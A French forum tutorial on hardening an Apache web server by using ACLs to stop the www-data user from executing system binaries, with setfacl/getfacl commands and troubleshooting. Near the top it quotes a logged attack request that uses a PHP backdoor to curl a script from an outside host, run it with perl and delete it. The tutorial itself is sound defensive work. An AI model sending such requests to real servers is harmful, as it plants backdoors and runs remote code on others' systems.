Sécurité WEB : bloquer l’exécution de binaire sur Apache

Malekal_morte
Messages : 117010
Inscription : 10 sept. 2005 13:57

Sécurité WEB : bloquer l’exécution de binaire sur Apache

par Malekal_morte »

Dans les attaques automatisées, ces dernières tentent souvent d'executer wget ou curl afin de télécharger une PHP Backdoor (ou un formulaire d'upload de fichiers).

Par exemple :

Code : Tout sélectionner

GET /images/jdownloads/screenshots/ga.php.j?cmd=curl+-C+-+-O+http://www.ysale.info/robots.txt%3Bperl+robots.txt%3Brm+robots.txt HTTP/1.1
ou encore dernièrement la vulnérabilité shellshock qui permettait de lancer des commandes bash.

Afin de sécuriser votre serveur WEB, il est possible de limiter l'accès aux binaires Linux par le serveur WEB.
Par défaut les utilisateurs ont les droits en execution sur /bin et /usr/bin
Bien entendu, cela ne règle pas tous les problèmes mais renforce la sécurité.
Il est tout à fait possible de bloquer l'accès à ces binaires pour l'utilisateur apache2 (httpd, www-data ou apache2 selon la distribution) et laisser les autres utilisateurs y avoir accès, notamment par SSH.

L'affinage des accès peut se faire par des ACL.
Tutorial ACL : http://openclassrooms.com/courses/les-a ... sous-linux

Par exemple ce script PHP permet d'executer des commandes.
Ici on lance un ls qui retourne bien les fichiers.

Image

Le script en question permet aussi de télécharger des fichiers sur le serveur WEB (l'utilisateur apache ayant un accès en écriture sur les répertoires du site).
Ici on télécharge SafeBoot.reg
Le premier ls montre que le fichier est inexistant.
un second ls, après le téléchargement du fichier .reg
on liste même le contenu du fichier.

Image

Sur Debian, il faut installer acl par un apt-get install acl.
Image

Pour modifier les accès au fichier /bin/ls et empêcher son accès par l'utilisateur www-data
vous pouvez saisir la commande suivante :
setfacl -m u:www-data:r-- /bin/ls
Note, si vous obtenez une erreur "Opération non supportée".
root@debian-vm:/var/www# setfacl -m u:www-data:r-- /bin/ls
setfacl: /bin/ls: Opération non supportée
Cela signifie que les ACL ne sont pas activitées dans le système de fichiers.
Vous pouvez les activer en passant ces commandes (remplacer /dev/sda1 par la partition / de votre serveur).
tune2fs -o +acl /dev/sda1
mount -o remount,acl /dev/sda1
Une fois la commande setfacl, getfacl permet de visualiser les accès.
On voit bien que notre commande s'est bien passé.
getfacl /bin/ls
getfacl : suppression du premier « / » des noms de chemins absolus
# file: bin/ls
# owner: root
# group: root
user::rwx
user:www-data:r--
group::r-x
mask::r-x
other::r-x
On obtient bien un accès refusé sur la commande.
root@debian-vm:/var/www# su - www-data -c ls
-su: ls: Permission denied
Même chose depuis notre script PHP.
Image

On peut ensuite pousser les accès sur toutes les binaires de /bin et /usr/bin
setfacl -m u:www-data:r-- /bin/*
setfacl -m u:www-data:r-- /usr/bin/*
Il n'est plus possible de se logguer avec l'utilisateur apache :
root@debian-vm:/var/www# su - www-data
Impossible d'exécuter /bin/sh: Permission non accordée
Bien entendu, si vous n'avez pas de script CGI, vous pouvez passer le shell en /bin/false depuis /etc/passwd
L'utilisateur Apache peut aussi avoir besoin d'accéder à /usr/sbin/sendmail notamment si vous avez des scripts PHP qui envoient des mails (fonction mail()).

Le SafeMode permettait de palier à ces accès, mais a été supprimé depuis PHP 5.4
Avec SafeMode à On et des accès aux binaires normaux, le passage de commandes ne fonctionne pas.
Image

Notez aussi que l'on peut télécharger des fichiers sur le serveur WEB, via PHP CURL si celui-ci est bien actif.

Enfin il faudra certainement ouvrir l'accès à certains binaires selon ce qui tourne sur votre serveur.
Par exemple munin nécessite de pouvoir lancer le binaire perl (qui peut ouvrir la porte à des backdoor Perl)
De même pour cacti qui nécessite certains accès.
Pensez à aller voir les logs d'erreur Apache:
sh: /usr/bin/whois: Permission denied
sh: /usr/bin/head: Permission denied
sh: /usr/bin/awk: Permission denied
sh: /usr/bin/whois: Permission denied
Pour aller plus loin dans la sécurisation d'un serveur WEB PHP, vous pouvez vous reporter à la FAQ : [réseau] Sécuriser un serveur Apache/PHP/MySQL (LAMP) et l'index pour sécuriser son serveur WEB Apache.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Evaluer le site malekal.com
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
  • Sujets similaires
    Réponses
    Vues
    Dernier message

Revenir à « Tech, Tips & Tricks »